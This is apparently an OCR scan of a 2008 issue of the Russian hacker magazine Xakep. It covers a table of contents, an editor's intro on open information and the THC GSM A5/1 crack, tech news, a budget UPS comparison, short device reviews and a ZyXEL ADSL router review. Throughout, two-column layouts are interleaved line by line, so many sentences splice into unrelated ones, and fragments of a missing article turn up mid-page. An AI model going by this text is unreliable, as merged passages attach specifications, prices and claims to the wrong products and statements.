Хакер
Хакер
Хакер
116
ж у р н а л о т к о м п ь ю т е р н ы х х у л и г а н о в
www.xakep.ru
На что
способна
твоя
web-камера
7 чумовых
рецептов
использования
обыкновенной
web-камеры
стр. 30
По 1
дро .4
бности на стр
Степан Ильин
/ STEP@GAMELAND. RU/
xàêåð 11 /107/ 07
CONTENT•05(113)
004 MegaNews КОДИНГ
Все новое за последний месяц 100 Реальная помощь домохозяйкам
Учимся кодить модули поддержки обозревателя
104 Функциональная шпиономания
FERRUM Краткий курс перехвата функций в Delphi
016 Успеть сохраниться 110 Осторожно, двери открываются
Сравнительное тестирование недорогих ИБП Собираем недешевый дорген на C#
022 4 девайса 114 Трюки от Крыса
Обзор четырех новых девайсов Программистские трюки и фичи на С\С++ от Криса Касперски
024 Победа в борьбе за скорость
Тестирование двухдиапазонного ADSL интернет-центра
ZyXEL P660HTW2 EE ФРИКИНГ
116 Мобильная SIMphonia
Полтора десятка мобильных аккаунтов на одной SIM’ке
PC_ZONE 122 Спутник для всей семьи
026 Тотальный антивирус Вынос кардшаринга на телевизор
Универсальный антивирусный центр своими руками
030 На что способна твоя Web-камера
cемь необычных применений для самой обыкновенной XAKEP.PRO
веб-камеры 128 Кодовое имя «Longhorn»
036 Как я стал фрилансером Windows Server 2008: обзор нововведений
Заметки вольного стрелка 132 Рецепты приготовления кальмара
041 Mobile tricks Squid: настраиваем контроль доступа и оптимизируем кэш
Используем коммуникаторы Asus на 100% 138 Как два линка обуздать
Добиваемся эффективной работы нескольких интернет-каналов
во FreeBSD
ВЗЛОМ 144 Жизнь сервера без BSOD
044 Easy Hack Скрытые рычаги управления ядром Windows Server 2003
Хакерские секреты простых вещей
048 Обзор эксплойтов
Много новых сплоитов ЮНИТЫ
052 Запароленная власть 148 Депривация: над пропастью сновидений
Щелкаем пароли от Oracle, как орешки Филигранная техника трансформации сна
058 В горячем сердце файрвола 152 FAQ United
Взлом портала популярного брандмауэра Большой FAQ
062 Ты – повелитель армии лоадеров! 156 Подписка
Универсальные приемы бывалого крэкера Подпишись на наш журнал
068 Раскрываем код 158 Диско
Дизассемблирование C# программ от A до Z 8,5 Гб всякой всячины
074 Х-Tools 160 WWW2
Программы для взлома Удобные вебсервисы второго поколения
СЦЕНА
076 Заметки о хак-форумах
Предвзятый обзор неприватных хакерских
и околохакерских конференций
080 X-Profile
Профайл Жанны Рутковской
084 X-Stuff
Фотографии рабочих мест хакеров
ЮНИКСОЙД
086 Великолепная семерка
Обзор новшеств в FreeBSD 7.0
090 Прорыв сквозь PPP
Настраиваем PPPoE и PPTP подключения в Linux
096 Во власти суперблока
Файловая система Linux в подробностях
Intro
Свобода информации и знаний постепенно меняет мир. Свобода информации и знаний начинает управлять
То, что раньше было прерогативой государств, спецслужб миром. То, что раньше было доступно единицам, стано-
и корпораций постепенно спускается к обычным людям. вится доступно всем.
Массово открываются протоколы и исходники софта, бес- Это же классно, когда о баге в протоколе узнает весь
платные opensource-платформы постепенно заменяют мир, а не только спецслужбы. Когда обладая специ-
закрытые решения в тех сферах, где это возможно. фикацией и исходниками некоторых частей Windows
Только подумай: теперь даже прослушать GSM A5/1 opensource-разработчики могут писать классный
телефон не большая проблема. Алгоритмом взлома софт. Когда любой человек может бесплатно за 5
только что поделился со всем миром Skyper из THC минут сделать свой блог на Wordpress и делиться
на конференции HITB 2008. Все, что надо – это девайс своими мыслями со всем миром.
примерно за $700 и определенные знания в голове, Все это создает тот новый мир, на который мы с тобой
которые можно получить в интернете. И можно не со- можем легко влиять, улучшая и меняя его под себя.
мневаться в том, что это обстоятельство очень быстро nikitozz, гл. ред. Х
улучшит протокол. udalite.livejournal.com
Эксклюзив
от «Эльдорадо»
По-настоящему уникальную и эксклюзивную вещь предста-
вила нашему вниманию компания «Эльдорадо». Новейший
22" монитор VLED221wm со светодиодной подсветкой от
известных мониторных мастеров ViewSonic способен удовле-
творить как нужды киноманов, отдающих предпочтение High-
Definition’у, и опытных геймеров, так и просто требовательных
к цветопередаче пользователей. Цветовой охват новинки в
118% NTSC и динамическая контрастность 12000:1 не имеют
аналогов в мире — обычные мониторы способны охватить
лишь 70-75% данного стандарта. Прибавим к этому время
отклика в 5 мс, максимальное разрешение экрана 1680 x 1050,
встроенные стереодинамики SRS WOW HD и веб-камеру и
получим отличную, во всех отношениях удобную вещь.
Интересно и то, что в течение трех месяцев этот монитор в
России можно будет приобрести только в сети магазинов
«Эльдорадо», и его цена составит $700 против $800, реко-
мендованных для европейского рынка. Учитывая, что схожие
по характеристикам товары стоят порядка $1000 и выше,
предложение «Эльдорадо» более чем выгодно и такой шанс
упускать не стоит :) .
$3 млрд — в такую сумму оценили Яндекс в компании Silicon Alley Insider, опубликовав
рейтинг самых дорогих стартапов. Wikipedia стоит более чем вдвое дороже: $7 млрд.
Vista и третий для XP После установки SP1 Vista перепроверит себя на предмет двух самых
распространенных способов обхода проверки активации. В случае
положительного результата Vista их аннулирует и раз в час будет пред-
Итак, свершилось! В апреле, чуть боль- лагать провести активацию уже нормальным способом. Вошли в пакет
ше года спустя после релиза самой ОС, обновлений и все предыдущие патчи из области безопасности, и была
вышел SP1 для Windows Vista. Вокруг улучшена работа с программами, распознающими вредоносное ПО, то
первого пакета обновлений циркулиро- есть, с различными антивирусами и тому подобными сканерами-мони-
вало множество слухов и домыслов, но торами.
теперь ничего домысливать уже не нуж- В остальном, мелких и не очень исправлений и добавлений много.
но, можно просто во всем убедиться лич- С полным их списком можно ознакомиться на официальном сайте. К
но. Во-первых, теперь Vista распознает примеру, Vista теперь оборудована поддержкой нового стандарта UEFI и
большую часть существующего железа форматом для флеш-накопителей ExFAT.
и ПО. В ее «базе знаний» сейчас свыше 80000 девайсов и компонентов, Но на выходе SP1 для Vista новости от Microsoft не заканчиваются.
а это в два раза больше, чем было на момент выхода системы. Так же, Практически одновременно с ним, лишь на пару недель позже, вышел
Vista отныне подружится и с основными 150‑ю бизнес-приложениями SP3 для нетленной XP. По сути, его уже окрестили полным собранием
от именитых производителей, в числе которых Adobe, Cisco, IBM, Oracle, всех аддонов, появившихся за те три года, что прошли с момента SP2.
Sun и другие. Однако, помимо этого, нельзя не отметить портированные из Vista
Во-вторых, устранена большая часть ошибок, приводивших ко всевоз- элементы, такие как Network Access Protection и Windows Imaging
можным эррорам. Согласно официальной информации, стабильность Component. Очевидно, все плавно движется к тому, о чем Microsoft гово-
системы возросла вдвое. Говоря о стабильности — пофиксили чересчур рит уже давно — к прекращению поддержки XP. А выход SP3 это своего
медленное копирование файлов, тормоза при выходе из спящего режи- рода лебединая песня.
По мнению аналитиков компании Mobile Research Group, число iPhone’ов в России составляет
500 000. Больше только в Китае и США. Неслабо навезли контрафакта, да?
Шире, красочнее,
популярнее
Этой весной компания LG решила порадовать поклонников качественного
изображения сразу несколькими новыми продуктами. Речь, конечно же,
идет о мониторах. Первая серия новинок — W42 — представит нам широ-
коформатные ЖК-дисплеи с диагоналями в 19", 20" и 22". Характеристики
таковы — динамическая контрастность 8000:1, время отклика 5 мс и система
LG f-ENGINE, позволяющая значительно улучшить изображение. Модели
серии, оканчивающиеся на букву «T» (например W2042T), оснащены
цифровым интерфейсом DVI-D, который поддерживает систему против
незаконного копирования контента HDCP.
Вторая новая серия — W00 — ориентирована на профессионалов и «гур-
манов» в области визуала. Два дисплея W2600HP и W3000H, обладающие
диагоналями в 26" и 30" дюймов, соответственно, должны идеально подой-
ти тем, кто много и серьезно работает с графикой — расширенная цветовая
гамма, полная поддержка HD, максимальное разрешение 1920 х 1200 и 2560
х 1600. Но, конечно, и цена у гигантов тоже немаленькая — $1400 за модель
W2600HP и $2250 за W3000H.
Команда ИТМО
выиграла в Битве
Мозгов
С 6 по 9 апреля в канадском городке Банфф на западе страны проходил
крупнейший и старейший мировой чемпионат по спортивному програм-
мированию — ACM ICPC, главным спонсором которого является компания
IBM. Проводимое в 32 раз мероприятие собрало 100 сильнейших команд
со всего мира, причем одно из самых многочисленных представительств
было у России: всего приехало 11 российских команд.
В ходе пятичасового соревнования командам-участникам было предло-
жено 11 задач, для решения которых требовались незаурядные знания в
области математики и программирования. В итоге, решив 8 из 11 задач,
победила команда ИТМО — института точной механики и оптики из Петер-
бурга. Второе места заняли студены MIT из массачусетского технологиче-
ского, третье и четвертое — Львовский университет и ИжГТУ, соответст-
венно. Всего 5 российских команд заняли призовые места.
Capture The
Flag в России
С 26 по 28 апреля в УрГУ (Екатеринбург)
первый раз проводился открытый контест по
информационной безопасности в формате
«Capture The Flag», в котором приняло уча-
стие 9 команд.
Каждая команда получила сервер с предус-
тановленным набором уязвимых сервисов,
причем на момент начала игры сервера ко-
манд были абсолютно идентичными. Задача
участников заключалась в поддержке своих
сервисов в рабочем состоянии и взломе сер-
веров других команд. Подробности конкурса
можно узнать на официальном сайте www.
rustf.org.
Заявился на HITB?
Ответь на пару
вопросов
Воодушевленный предстоящим выступлением на HITB, один из
мемберов THC готовился к вылету из аэропорта Хитроу, когда к нему
подошли представители спецслужб и отвели в сторонку. По словам
хакера, эти ребята были хорошо осведомлены о том, кто он такой,
где живет и чем занимается. Не было секретом и то, что специалист
по безопасности направляется в ОАЭ, чтобы представить доклад о
взломе криптографического алгоритма A51. Напомню, что именно
он используется для шифрования данных в системах сотовой связи
GSM. Доклад обещал стать настоящей бомбой. В нем приводились
доказательства того, что с помощью публично доступного обору-
дования, цена которого не превышает $1000, возможно не только
перехватить звонки и текстовые сообщения SMS, но и расшифровать
их! Агенты дали понять хакеру, что власти намерены убедиться в том,
что он не вывозит из страны девайсы для криптоанализа. В частности
их сильно заинтересовал старенький телефон хакера — Nokia 3310 и
так называемый USPR (Universal Software Radio Peripheral) — пус-
кай и хитрый, но все-таки доступный радиоприемник, управляемый
программными средствами. Доводы специалиста о том, что это самое
обычное оборудование, оказались недостаточными и каждый из де-
вайсов был взят на экспертизу. Примечательно, что ноутбук и бумаги
агентов почему-то совершенно не интересовали. Обеспокоенный
хакер поделился своими переживаниями в анонимном блоге blog.thc.
org, где позже отписал, что оборудование ему вернули.
xàêåð 05 /113/ 08
13
>> meganews
Человек вместо
витой пары
Человек — это источник энергии, и, в общем-то, неплохая
батарейка, если верить фильму «Матрица» :). Но человечес
кое тело также является неплохим проводником и способно
пропускать через себя огромные массивы данных. Это на
деле доказала японская компания NTT, выпустившая на
рынок специальный комплект девайсов, который называ-
ется Firmo. Главным компонентом таких устройств является
небольшая карточка-передатчик, которая кладется в кар-
ман или другое удобное место. Не требуя прямого контакта
с человеком, она преобразует цифровые данные в элек-
трический сигнал и пускает в тело человека через одежду.
Стоит пользователю дотронуться до принимающей части
системы, как тут же начинается процесс передачи данных.
Текущая скорость не превышает 230 Кб/c, но разработчики
заявляют, что технология RedTraction, используемая при
создании устройства, в будущем позволит передавать дан-
ные на скоростях до 10 мегабит/c. В Японии новинка стоит
$8000 за комплект, в него входят 5 передатчиков и один
приемник. Уже сейчас ее применяют для идентификации
пользователей и создания систем «умного дома», а в буду-
щем ее собираются использовать для обмена информаци-
ей между пользователями. Хочется верить, что не за горами
время, когда после одного единственного рукопожатия
можно будет «выучить», скажем, японский язык :).
393 письма разослал Гарри Туерк 30 лет назад, став первым спамером на планете. С
тех пор количество рекламных сообщений несколько увеличилось, не правда ли? :)
xàêåð 05 /113/ 08
15
>> ferrum
Успеть сохраниться
Сравнительное тестирование недорогих ИБП
Ремонт в квартире соседей, перфоратор, подключенный в паре метров от компа,
электросварка… – все это может сгубить чуткое к помехам железо. После того,
как соседка дважды перепутала предохранители у электросчетчика, – я обзавел-
ся ИБП.
Такой девайс убережет не только данные и железо, но, самое главное, растет. Кроме того, было открыто несколько офисных документов и окон
— нервы. Впрочем, покупать ради сохранения документов собственную браузера, а также поставлен файл на закачку, чтобы нагрузить роутер.
подстанцию неразумно. Поэтому мы решили провести сравнительное Если опираться на показания софта, идущего в комплекте, потребляе-
тестирование бюджетных ИБП. Их мощности достаточно, чтобы питать мая мощность всей системы колебалась в промежутке от 186 до 230 Вт.
офисный или домашний компьютер в течение 5-10 минут — вполне Отдельное внимание уделялось программному обеспечению, идущему
хватит, чтобы в случае перебоев с электроэнергией успеть сохраниться в комплекте, так как от его функциональности зависит очень многое.
и завершить работу. Например, автоматическое отключение через заданный промежуток
времени или по достижению определенного уровня разряда аккумуля-
Методика тестирования тора. Чтобы вычислить полное время автономной работы, мы отрубали
Для проверки функциональных возможностей ИБП мы провели полную автоматическое отключение и выдерживали компьютер до полной по-
зарядку батарей каждой модели. По заверениям производителей, садки батарей. Надо сказать, не все ПО справилось со своей работой на
достаточно 8 часов для зарядки опустошенных аккумуляторов до «отлично», так что после установки и подключения проверь настройки
уровня 90%. Для верности мы дали отстояться девайсам около суток. В программ.
качестве тестового стенда использовали производительный компью- Одним из важных показателей работы ИБП является минимальное
тер, характеристики которого также приведены. К бесперебойнику напряжение в сети, после которого осуществляется переход на питание
был подключен 20‑тидюймовый ЖК-дисплей и Wi-Fi роутер — эдакий от батарей. Путем внедрения в цепь питания между сетью и ИБП лабо-
усредненный вариант домашнего компьютера, ориентированный на раторного автотрансформатора мы меняли напряжение, подаваемое
выполнение разноплановых задач. на бесперебойник, в диапазоне от 0 до 260 Вольт. Таким образом, мы
Основным критерием возможностей тестируемых бесперебойников яв- получили точки перехода устройств на автономное питание.
ляется время автономной работы под нагрузкой. Для загрузки компью-
тера мы использовали утилиту Battery Eater’05 версии 1.0 в стандарт- Время автономной работы, мин
ном режиме работы. Этот тестовый пакет неплохо нагружает систему,
но надо учитывать, что при наличии мощной видеокарты и запуске Ippon Back Verso
400
ресурсоемких 3D приложений потребляемая мощность компьютера вы-
Ippon Back Comfo
Pro 600
CyberPower Value
800E
R’
BEST BUY
BE
TOR’s
s CHOICE
ST BUY
EDI
2400 руб.
2600 руб.
APC BE550‑RS
APC BE700‑RS
Технические характеристики:
Мощность, ВА: 550 Технические характеристики:
Мощность, Вт: 330 Мощность, ВА: 700
Входное напряжение: 180-266 В Мощность, Вт: 405
Количество выходных разъемов питания: Входное напряжение: 180-266 В
4 автономных, 4 без поддержки автономной работы Количество выходных разъемов питания:
Время полной зарядки: 16 ч 4 автономных, 4 без поддержки автономной работы
Количество автономных розеток: 4 типа евро Время полной зарядки: 16 ч
Интерфейс подключения: USB, RS-232 Интерфейс подключения: USB, RS-232
Дополнительно: защита телефонной/модемной линии Дополнительно: защита телефонной/модемной линии
Габариты, мм: 230 x 86 x 285 Габариты, мм: 230 x 86 x 285
Вес, кг: 6.4 Вес, кг: 6.8
Интересный девайс от известного производителя источников бесперебой- Еще один источник бесперебойного питания от известного американского
ного питания. Чем-то он напоминает сетевой фильтр, только увеличенный производителя. От предыдущей модели отличается более емкими аккуму-
в размерах. Устройство, по габаритам сравнимое с barebone-компьютером, ляторами, а также большей мощностью — 405 Ватт (против 330 у младшей
займет не так много места, тем более, его вполне можно разместить под сто- модели). Большинство характеристик схожи, но APC BE700‑RS
лом. Этот универсальный ИБП можно использовать и для бытовой техники обладает несомненным преимуществом: во время испытания этот ИБП
— благодаря наличию стандартных евророзеток. На верхней панели их продержался 8,5 минут, чего вполне достаточно, чтобы завершить работу с
имеется восемь штук, но только четыре из них способны поддерживать нор- фотографиями (например, в Photoshop) и корректно отключить компьютер.
мальную работу при отсутствии напряжения в сети. Оставшиеся служат для При том, что у нас довольно производительная система — рядовой офисный
фильтрации подаваемого напряжения. Простота подключения и индикации компьютер такой бесперебойник может подпитывать почти вдвое дольше.
работы — большой плюс инженерам, поработавшим над этим устройством. Отметим удобство программного обеспечения, входящего в комплект по-
При отключении питания APC BE550‑RS оповестит тебя звуковым сигналом ставки. Крайне информативная утилита PowerChute Personal выдает мак-
— настойчивым, но не слишком громким. Мощность ИБП составляет 330 Вт. симум сведений о процессе функционирования устройства: текущий режим
Подойдет для домашнего компьютера, но стоит понимать, что для мощной работы, нагрузка на батареи, потребляемая мощность и прочее. Даже
игровой системы его попросту может не хватить — потребление совре- простому пользователю будет интересно узнать о состоянии питающей сети
менных видеокарт уже перескочило за 100 Вт на каждую, а если поставить или возможностях девайса. Кстати, с помощью ПО можно задать действие,
массив? Во время тестирования наш компьютер проработал почти 6 минут которое будет выполняться при исчезновении напряжения. Информация
— успеешь сохранить все офисные документы или выйти из игры и отклю- собирается и сохраняется, а в результате ты прочитаешь подробную стати-
чить компьютер. Если же ты используешь девайс в качестве автономного стику событий. Опираясь на данные тестирования напряжений перехода на
источника для подключения бытовой видеотехники, и отключение не пла- батареи, можно сказать, что эта модель более чувствительна к перепадам
нируется на долгий срок… — можешь смело продолжать смотреть фильм. напряжения — уже с 205 Вольт девайс начинает существовать автономно
Приятно порадовал тот факт, что устройство переходит на питание от бата- (ситуация с падением напряжения ниже 180 довольно типична для загород-
рей при достижении критического порога в 140 Вольт — в домах с частым ных домов во время отопительного сезона). Как и у предыдущей модели,
падением напряжения это сохранит аккумуляторы. В качестве бонуса есть в этой реализована защита телефонной линии, а также имеется восемь
защита телефонной/модемной линии, но помни, что функционировать она розеток европейского типа, четыре из которых — с автономным питанием,
будет только при правильном подключении ИБП, то есть при наличии за- а остальные — защищают от перепадов напряжения. К недостаткам можно
земления. Всем хорош девайс. К минусам можно отнести только габариты: с отнести габариты устройства, но и этот недостаток легко списать, если рас-
такими размерами устройства бывают и существенно большей мощности. положить ИБП в укромном месте. Только помни, что любая техника должна
иметь путь для теплоотвода и вентиляции.
xàêåð 05 /113/ 08
017
>> ferrum
Технические характеристики:
Мощность, ВА: 800
Мощность, Вт: 480
Входное напряжение: 165-270 В
Количество выходных разъемов питания:
1300 руб. 3 автономных
Время полной зарядки: 8 ч
Интерфейс подключения: USB, RS-232
Дополнительно: нет
Габариты, мм: 100x140x320
Вес, кг: 6.1
Технические характеристики:
Мощность, ВА: 600 Этот блок обладает большей мощностью, чем его предшественник, а значит
Мощность, Вт: 360 можно рассчитывать на большее время работы или подключить более произ-
Входное напряжение: 165-270 В водительный компьютер. Тестовая система продержалась на батареях почти
Количество выходных разъемов питания: 10 минут. Очень неплохой результат! Блок выглядит так же, как и младшая
3 автономных модель, потому позаимствовал все достоинства и недостатки. Простота ин-
Время полной зарядки: 8 ч дикации и управления сведена к одному выключателю и одному световому
Интерфейс подключения: USB, RS-232 индикатору на передней панели. Если обратишь внимание на заднюю стенку
Дополнительно: нет ИБП, заметишь, что имеются трехпиновые стандартные разъемы. Несколько
Габариты, мм: 100x140x320 не хватает стандартной европейской розетки для подключения периферии,
Вес, кг: 5.3 например, роутера. В результате, для полной функциональности надо будет
купить переходник. Хорошие показатели получены и при замерах напряже-
ния перехода на аккумуляторы — 165 В. Приятно порадовало и программное
обеспечение, идущее в комплекте. Утилита PowerPanel Personal Edition про-
ста и удобна в использовании — сразу после подключения программа авто-
Традиционный, с точки зрения обывателя, источник бесперебойного матически распознает устройство и выводит всю техническую информацию.
питания представляет собой стандартный блок с кнопкой включения Этот ИБП можно рекомендовать обладателям производительных систем,
питания на передней стенке и световым индикатором работы. Все разъемы не желающим вкладывать большие средства в систему энергоснабжения.
для подключения аппаратуры расположены на задней стенке — провода Сразу советуем обзавестись переходником для подключения устройств со
будут скрыты от посторонних глаз. Если места на столе не хватает — этот стандартными вилками (особенно, если пользуешься DSL-модемом, требу-
компактный девайс придется очень кстати. Для сбора информации о ющим отдельного питания). Не стоит подключать к ИБП лазерный принтер
состоянии устройства ты можешь подключить ИБП к компьютеру как по — его мощность такова, что в моменты пиковой загрузки может вывести из
старому интерфейсу RS-232, так и по новому — USB. Во время теста девайс строя бесперебойник.
переходил на питание от аккумуляторов при достижении минимального
порога в 165 В. CyberPower Value 600E неплохо показал себя в автономной
работе — больше 6 минут смог поддерживать активность нашего тестово- Напряжение перехода в автономный режим, Вольт
го стенда. К недостаткам можно отнести отсутствие стандартных розеток В сторону увеличения
питании существует — например, в роутерах домашних сетей, которые 0 50 100 150 200 250 300
обычно монтируются на чердаках. Работать роутер от такого источника
может до часа, так как мощность, потребляемая им, редко бывает больше
30 Ватт. Поэтому присмотрись к этому устройству, если ты хочешь построить Некоторые устройства переходят на батарею при малейшей просадке
недорогую, но бесперебойную сеть. напряжения
BEST BUY
BE
ST BUY
1900 руб..
1200 руб.
Ippon Back Comfo Pro 600
Самый тяжелый и, вместе с тем, довольно удачный ИБП от еще одного из-
вестного производителя. Аккуратный блок с удобной ручкой для переноски
на верхней панели, интересный дизайн и простота конструкции — все состав- Завершает наше тестирование очень стильный бесперебойник. Если поста-
ляющие успешного продукта. Габаритами блок скромен, а внешним видом вить его рядом с barebone, то сразу и не разберешь, где компьютер, а где ИБП.
— опрятен и займет немного места на рабочем столе или под столом, рядом с Компактный «кубик» обладает заявленной мощностью в 200 Вт — немного,
системником. На задней панели ИБП расположены два блока по три разъе- но посмотрим, каков он в работе. Девайс оснащен шестью разъемами, четы-
ма, один из которых запитывается от батарей, а на второй подается питание ре из которых продолжают выдавать питание, даже когда в сети его нет. Блок
через сетевой фильтр. В каждом блоке из трех разъемов два предназначены Ippon back Verso 400 функционирует без проблем вплоть до падения напря-
для подключения системника и монитора, а третий представлен стандартной жения до 154 Вольт, после чего переключается на питание от собственных
европейской розеткой. К этому выходу можно запросто подключить DSL-мо- батарей. Собрать информацию о состоянии устройства и батарей ты можешь,
дем или роутер, через который может осуществляться связь с Сетью. Тогда, в подключив устройство по шине USB или к COM-порту. Увы, тут возникла про-
случае исчезновения питания, ты спокойно можешь попрощаться с собесед- блема, так как софт написан на java и категорически отказывался правильно
ником и не торопясь завершить работу. Тестовые замеры показали переход функционировать. Смирившись с этим, ты можешь получить стильное, ком-
на питание от батарей при 165 В. Бесперебойное питание компьютеру блок пактное и легкое устройство, защищающее твой компьютер от перебоев пи-
обеспечивал в течение шести с половиной минут. Собирать информацию тания и телефонную линию от скачков напряжения. Наверняка тебе интерес-
о системе ты сможешь, подключив ИБП к COM-порту или к USB — на твое но, сколько же продержался этот малыш без питания, да еще под нагрузкой
усмотрение. Пришло время и для ложки дегтя. При попытке запустить про- такого компьютера? Ippon back Verso 400 смог поддерживать жизнь компа в
грамму сбора информации и статистики возникла проблема. Заключалась течение 3,5 минут. Последующая полная зарядка аккумуляторов потребует
она в невозможности работы утилиты, написанной на java. Переустановка порядка 8 часов. Конечно, времени автономной работы совсем не много, но
Java и загрузка обновленной версии результата не изменили. Вероятно, та- для того, чтобы сохранить важный документ — вполне хватит. Кроме того,
кая проблема наблюдается из-за несоответствия каких-либо программ, но бесперебойник рассчитан на существенно более слабые компьютеры, чем
к такому исходу надо быть готовым. Таким образом, тебе придется опираться тот, что использовался для теста. Его можно смело рекомендовать в подарок
на свой опыт, интуицию и секундомер. В результате, мы можем рекомендо- любимой девушке — перед тем, как в очередной раз исчезнуть в ходе ви-
вать этот ИБП пользователям, которые не намерены загромождать память деоконференции, она успеет спросить: «ой, а что это у меня пищит»? Столь
компьютера дополнительными утилитами и тем, кому необходимо сберечь интересное устройство при своей небольшой цене претендует на награду и,
оборудование со стандартными вилками. соответственно, покупку.
Выводы для любого продукта. Второй приз мы присудили устройству Ippon Back
По результатам проведенного тестирования однозначную победу Verso 400 за интересный дизайн, удобство и логичность. Не забывай
одержал APC BE700‑RS — ему присуждается приз «Выбор редакции». сохраняться, береги свой компьютер, и он будет служить тебе верой и
Удобство, функциональность и эргономичность — важные качества правдой.z
ет посторонние звуки с помощью функции 2. Выиграть 5 ящиков пива, обыграв уверенного в себе противника по
интернету. Вот тебе важный хинт: даже в тех играх, где общение голосом не
шумоподавления. предусмотрено, вполне реально использовать умопомрачительную тулзу
TeamSpeak (www.goteamspeak.com) и легко обсуждать все действия со
своей командой голосом. Любое преимущество оправдано!
Технические характеристики
3. Насладиться по-настоящему качественным звучанием любимых музы-
Наушники: Микрофон: кальных произведений. Выжать максимум из своей звуковой карты поможет
Частота .......... 30 – 18 000 Гц Частота ............... 80 Hz – 15 000 Гц подключаемый к популярным проигрывателям плагин DFX (www.fxsound.
Сопротивление............. 32 Ω Чувствительность.........(-) 38 dBV/Pa com). С ним совершенствуются частотные характеристики и устраняются
Звуковое давление.......118 дБ Сопротивление.............2 kΩ два главных недостатка — срез высоких частот и недостаточное разделение
Длина кабеля ............... 3 м стереобазы и ее глубины.
>> ferrum
4 девайса
4000 руб.
2700 руб.
1. Принтер не занимает много места, кроме того, нет выступающих лотков 1. Стильный и элегантный дизайн колонок впишется в любой интерьер.
— удобно эксплуатировать в тесном или ограниченном пространстве. 2. Магнитное экранирование убережет от электромагнитных искажений на
2. Подключения и настройка простые — принтер подключается по шине мониторе.
USB, а с установкой драйверов справится любой. 3. Управление колонками и сабвуфером осуществляется с проводного
3. Яркий световой индикатор оповестит о состоянии работы принтера. пульта, к которому также можно подключить наушники.
4. Емкий лоток на 250 листов весьма практичен — при небольших объемах 4. Компактный сабвуфер хорошо воспроизводит басы и не запирает их на
печати не придется часто пополнять запас бумаги. максимальной громкости.
5. Работает девайс довольно тихо и быстро — первая страница была распе- 5. Динамики четко воспроизводят звук — искажений не замечено даже на
чатана спустя 8 секунд после запуска печати. максимуме.
6. Десять страниц убористого текста принтер выдал за 35 секунд — непло- 6. Общей громкости колонок достаточно для небольшой комнаты.
хой результат для такого «малыша». 7. Подключение к источнику звука осуществляется кабелем со стандарт-
7. Подача бумаги может осуществляться как из лотка, так и по одному листу ными разъемами mini-jack. При желании провод можно заменить более
(через специальное отверстие). длинным.
8. Замена картриджа с тонером производится в три действия: откинуть
крышку, заменить картридж, закрыть крышку. Не требуется никаких инст-
рументов. 1. Поверхность колонок отлично хранит отпечатки пальцев и притягивает
пыль — придется их частенько протирать.
2. Входящий в комплект кабель для подключения к источнику звука может
1. Светодиодные индикаторы режимов работы расположены на верхней оказаться коротковат (особенно, если системный блок установлен под
панели и не видны, если принтер расположить выше уровня глаз. столом).
900 руб.
700 руб.
Genius Navigator
365 Laser
Мышь-трансформер
xàêåð 05 /113/ 08
023
>> ferrum
Победа
Алексей Шуваев
в борьбе
за скорость
Тестирование двухдиапазонного
2600 руб.
ST BUY
BE
BEST BUY
BE
ST BUY
ействительно, кому захочется переплачивать вдвое за более беспроводной сети, ты можешь включить аутентификацию и шифрование,
Д дорогие тарифы с сигнализацией, если последняя попросту благо поддерживается даже WPA2‑PSK.
не используется? Наверное именно поэтому компания ZyXEL Настройку сети можно смело доверить утилите NetFriend. В случае затруд-
решила выпустить универсальный двухдиапазонный интер- нений при поиске устройства — просто обнови версию утилиты, скачав
нет-центр P660HTW2 со встроенным модемом ADSL2+. свежую версию с zyxel.ru, и проблемы исчезнут. Эта утилита настроит твой
Зухель для работы с большинством ADSL-провайдеров, и тебе останет-
Возможности устройства ся только выбрать город, тариф и ввести логин и пароль. С передачей
Аккуратная коробочка скрывает в себе не только ADSL-модем (построен- данных интернет-центр справляется отлично: есть автоматический выбор
ный, кстати, на новой платформе Absolute ADSL, что, по-видимому, озна- скорости в зависимости от качества связи, увеличение скорости передачи
чает поддержку любых вариаций стандарта), но также Wi-Fi точку доступа, данных к провайдеру с 1 до 3,5 Мбит по стандарту Annex M и увеличение
роутер и коммутатор с возможностью подключения до четыре сетевых «последней мили» до 7 км по стандарту Annex L.
устройств. Чтобы не переживать за сохранность данных, передаваемых по Кроме того, распространение цифрового телевидения, особенно
Тестирование
Понятно, что скорость доступа в интернет у каждого обладателя P660HTW будет
своя — тут играют роль тарифный план провайдера и качество линии от АТС до
твоей квартиры, поэтому тестировать в тепличных условиях интернет-центр
было не интересно. Мы решили проверить скорость доступа между локальными
компьютерами. Для этого мы подключили к ZyXEL P660HTW2 посредством про-
водов два компьютера и ноутбук по Wi-Fi. При помощи утилиты, измеряющей
скорость передачи данных, мы замерили реальную пропускную способность и
обратили внимание на загрузку процессора интернет-центра. Результаты до-
вольно интересные: при передаче данных по проводному каналу скорость была
чуть ниже, чем при прямом соединении компьютеров — порядка 90 Мбит/с. При
Диалог программы ZyXEL NetFriend: выбор типа телефонной линии
этом загрузка процессора составляла всего 15-30%. При включении шифрова-
ния процессор был загружен на 90-100%.
Технические характеристики
• 1 разъем RJ-11 для подключения к телефонной линии
Вывод
Протестированный интернет-центр будет интересен пользователям, чьи
• 4 разъема RJ-45 ETHERNET (10BASE-T/100BASE-TX) с
квартиры оснащены пожарной или охранной сигнализацией (или наоборот,
автоопределением типа кабеля не оснащены, но есть планы «оснаститься» в будущем), а так же тем, у кого ка-
• ADSL2+ (G.992.5) чество телефонной линии оставляет желать лучшего. Установка и настройка
интернет-центра не отнимет много времени, а благодаря утилите NetFriend
• Поддержка Annex A, Annex B, Annex M, Annex L (RE
пользователю остается только выбрать провайдера, услуги и ввести в нужных
ADSL) полях аутентификационные данные. Быстро, просто и удобно. Если сетевые
• Шлюз прикладного уровня SIP (SIP ALG) устройства и дальше будут развиваться в таком духе, то, возможно, скоро мне
• Транзит VPN-соединений (IPSec, PPTP, L2TP), PPPoE- перестанут докучать подружки-блондинки с просьбой настроить интернет?
ZyXEL P660HTW2 EE получает награду «Лучшая покупка». z
соединений
• Беспроводная точка доступа стандарта 802.11 b/g Absolute ADSL
• Аутентификация по протоколам: IEEE 802.1x / WPA / Технология Absolute ADSL, которая нашла применение в новых модемах
и интернет-центрах ZyXEL, имеет следующую особенность: девайсы,
WPA-PSK / WPA2 / WPA2‑PSK
работающие по данному стандарту, обладают двухдиапазонным моду-
• WEP-шифрование 64/128/256 бит
лятором/демодулятором ADSL2+, поддерживающим два частотных
• Защита сети: Межсетевой экран с контролем устанав- плана — для передачи по стандартам Annex A и Annex B. Проще говоря,
ливаемых соединений (SPI) интернет-центр сможет работать как на простой телефонной линии,
так и на линии с охранно-пожарной сигнализацией или на цифровой
• Защита от DoS- и DDoS-атак из интернета
линии ISDN. В плюсы технологии смело можешь записывать: лучшую
